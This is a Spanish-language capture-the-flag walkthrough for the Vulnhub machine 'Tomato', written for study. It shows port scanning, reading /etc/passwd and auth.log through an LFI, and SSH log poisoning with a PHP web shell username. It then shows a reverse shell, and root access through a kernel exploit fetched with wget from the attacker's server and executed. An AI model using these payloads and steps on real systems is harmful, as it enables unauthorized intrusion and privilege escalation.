Tomato | CTF Writeup - Vulnhub
Tomato
En la primera etapa de enumeración, debemos asegurarnos de tener la máquina virtual corriendo. Escaneamos nuestra red local como usuario
root
con el comandoarp-scan -I ens33 --localnet
.
1
2
3
4
5
6
7
8
9
10
> arp-scan -I ens33 --localnet
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.216.1 00:50:56:c0:00:08 VMware, Inc.
192.168.216.2 00:50:56:e2:11:a1 VMware, Inc.
192.168.216.145 00:0c:29:54:e6:37 VMware, Inc.
192.168.216.254 00:50:56:e7:c0:0d VMware, Inc.
4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 1.928 (132.78 hosts/sec). 4 responded
Inicializamos una variable de entorno llamada IP que contendrá la IP de la máquina Tomato.
1
> export IP=192.168.216.145
Enumeramos los puertos abiertos con
nmap
a través de un escaneo stealth scan (TCP SYN scan) y exportamos el output al archivo scan.txt.
1
2
3
4
5
6
7
8
9
10
11
> nmap -sS -p- --open -Pn -n -T5 -oN scan.txt $IP
Nmap scan report for 192.168.216.145
Host is up (0.00063s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE
21/tcp open ftp
80/tcp open http
2211/tcp open emwin
8888/tcp open sun-answerbook
MAC Address: 00:0C:29:54:E6:37 (VMware)
Lanzamos scripts básicos de reconocimiento a los puertos abiertos de la máquina víctima.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
> nmap -sCV -p21,80,2211,8888 $IP -oN service_scanning.txt
Nmap scan report for 192.168.216.145
Host is up (0.00030s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Tomato
2211/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 d2530a918cf1a610110d9e0f22f8498e (RSA)
| 256 b31260324828ebac80de17d796776e2f (ECDSA)
|_ 256 366f52adfef7923ea2510f73068d8013 (ED25519)
8888/tcp open http nginx 1.10.3 (Ubuntu)
|_http-server-header: nginx/1.10.3 (Ubuntu)
|_http-title: 401 Authorization Required
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Basic realm=Private Property
MAC Address: 00:0C:29:54:E6:37 (VMware)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Vemos que no nos reportó nada acerca del script
/usr/share/nmap/scripts/ftp-anon.nse
, por tanto, no tenemos capacidad de autenticarnos como en usuarioanonymous
en el servicio ftp. Vemos que tenemos capacidad de enumeración de usuarios con ssh dado que corre OpenSSH con una versión menor a la 7.7 (CVE-2018-15473 SSH User Enumeration). Sin embargo, no tenemos ninguna información de ningún usuario hasta el momento.
Podemos proceder a enumerar la web. Entramos al servidor http corriendo por el puerto 80 y nos encontramos con lo siguiente:
Si abrimos el código fuente, no encontraremos nada de interés. En su contraparte, intentamos ver el servidor que está corriendo por el puerto 8888.
Aunque intentemos inyectar código SQL, NoSQL, etc. no podremos hacer nada al respecto.
Procedemos a enumerar directorios y archivos de interés en la web mediante
gobuster
con el diccionariocommon.txt
del repositorio SecLists.
1
gobuster dir -u http://$IP -w /usr/share/SecLists/Discovery/Web-Content/common.txt -t 20 --add-slash
Vemos que la herramienta descubrió algunos directorios y archivos.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.216.145
[+] Method: GET
[+] Threads: 20
[+] Wordlist: /usr/share/SecLists/Discovery/Web-Content/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Add Slash: true
[+] Timeout: 10s
===============================================================
2024/01/02 19:50:17 Starting gobuster in directory enumeration mode
===============================================================
/.hta/ (Status: 403) [Size: 280]
/.htaccess/ (Status: 403) [Size: 280]
/.htpasswd/ (Status: 403) [Size: 280]
/antibot_image/ (Status: 200) [Size: 956]
/icons/ (Status: 403) [Size: 280]
/server-status/ (Status: 403) [Size: 280]
Progress: 4715 / 4716 (99.98%) ^C
[!] Keyboard interrupt detected, terminating.
===============================================================
2024/01/02 19:50:19 Finished
===============================================================
Si nos metemos al directorio
antibot_image
, vemos que tenemos capacidad de directory listing.
Podemos listar el
info.php
. Si filtramos pordisable_functions
, vemos que podríamos entablarnos una Reverse Shell con la funciónsystem()
en el caso de poder ejecutar código PHP.
Si nos fijamos el código fuente, nos podemos percatar de un comentario que podría indicarnos a una posible vulnerabilidad LFI.
1
2
3
4
5
6
7
8
9
10
11
12
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<!-- </?php include $_GET['image']; -->
</body>
</html>
Nos vamos a la URL y probamos igualar el parámetro
image
al archivo/etc/passwd
. Si nos vamos al final del documento HTML, podemos apreciar el output del archivo indicado.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
messagebus:x:106:110::/var/run/dbus:/bin/false
uuidd:x:107:111::/run/uuidd:/bin/false
tomato:x:1000:1000:Tomato,,,:/home/tomato:/bin/bash
sshd:x:108:65534::/var/run/sshd:/usr/sbin/nologin
ftp:x:109:117:ftp daemon,,,:/srv/ftp:/bin/false
Procedemos a listar los logs SSH ya que, como habíamos visto, el puerto 2211 estaba abierto y corriendo SSH.
http://192.168.216.145/antibot_image/antibots/info.php?image=/var/log/auth.log
¡Podemos listarlos! Listo, procedemos a inyectar código PHP mediante un envenenamiento del archivo
auth.log
, correspondiente a SSH. Primero, desde nuestra consola, nos intentamos autenticar hacia la máquina víctima de la siguiente manera:
1
> ssh -p 2211 '<?php system($_GET["cmd"]); ?>'@192.168.216.145
Este campo de usuario malicioso lo que hará es llamar a la función
system
para que se ejecute el comando que especifiquemos mediante una petición GET a la url con el parámetro cmd. El campo de usuario quedará en los logs como un intento de acceso erróneo al sistema, pero se ejecutará el código PHP en el navegador dado que elinclude
está interpretando el código. Intentamos ejecutar el comandoid
.
Ahora solo nos queda entablarnos la Reverse Shell. Nos ponemos en escucha desde una consola con
sudo nc -nlvp 443
y nos intentamos entablar la conexión.
Recibimos la conexión:
Aplicamos los siguientes comandos para tener una Full TTY intercativa.
1) script /dev/null -c bash
2) Ctrl+Z 3) stty raw -echo;fg
4) reset xterm
5) export TERM=xterm
6) export SHELL=bash
Enumeramos el sistema. Vemos si hay binarios interesantes con permisos SUID pero no encontramos ninguno.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
> find / -perm -4000 2>/dev/null
/bin/ntfs-3g
/bin/su
/bin/ping6
/bin/fusermount
/bin/mount
/bin/ping
/bin/umount
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/vmware-user-suid-wrapper
Nos movemos al directorio
/home/tomato
, y vemos lo siguiente:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
> ls -la
total 40
drwxr-xr-x 5 tomato tomato 4096 Sep 7 2020 .
drwxr-xr-x 3 root root 4096 Sep 7 2020 ..
-rw------- 1 tomato tomato 10 Sep 7 2020 .bash_history
-rw-r--r-- 1 tomato tomato 220 Sep 7 2020 .bash_logout
-rw-r--r-- 1 tomato tomato 3771 Sep 7 2020 .bashrc
drwx------ 2 tomato tomato 4096 Sep 7 2020 .cache
drwxrwxr-x 2 tomato tomato 4096 Sep 7 2020 .nano
-rw-r--r-- 1 tomato tomato 675 Sep 7 2020 .profile
drwx------ 2 tomato tomato 4096 Sep 7 2020 .ssh
-rw-r--r-- 1 tomato tomato 0 Sep 7 2020 .sudo_as_admin_successful
-rw-rw-r-- 1 tomato tomato 175 Sep 7 2020 .wget-hsts
No podemos entrar al directorio
.ssh
ni leer.bash_history
, así que poco podemos hacer. Intentamos enumerar la versión de kernel conuname -a
. El kernel tiene una versión 4.4.0-21, por lo que podríamos hacer una elevación de privilegios mediante la CVE-2017-16995. Podemos agarrar este exploit de la web de exploit-db. Lo compilamos en nuestro equipo de atacante, no en la máquina víctima. Aplicamosgcc exploit.c -o exploit
. Luego, nos lo transferimos a la máquina víctima desde la máquina atacante levantando un servidor HTTP con python:
1
> sudo python3 -m http.server 80
Desde la máquina víctima nos descargamos el recurso con wget.
1
2
> wget http://192.168.216.133/exploit
> chmod +x exploit
Finalmente, ejecutamos el exploit y ganamos acceso como root a la máquina víctima.
1
2
3
> cd /root
> cat proof.txt
Sun_CSR_TEAM_TOMATO_JS_0232xx23